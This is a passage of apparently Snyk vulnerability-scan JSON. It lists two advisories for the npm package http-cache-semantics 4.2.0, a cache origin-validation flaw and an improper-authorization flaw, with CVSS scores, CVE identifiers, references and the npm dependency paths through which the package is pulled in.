"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmorg@7.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmsearch@8.0.0",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
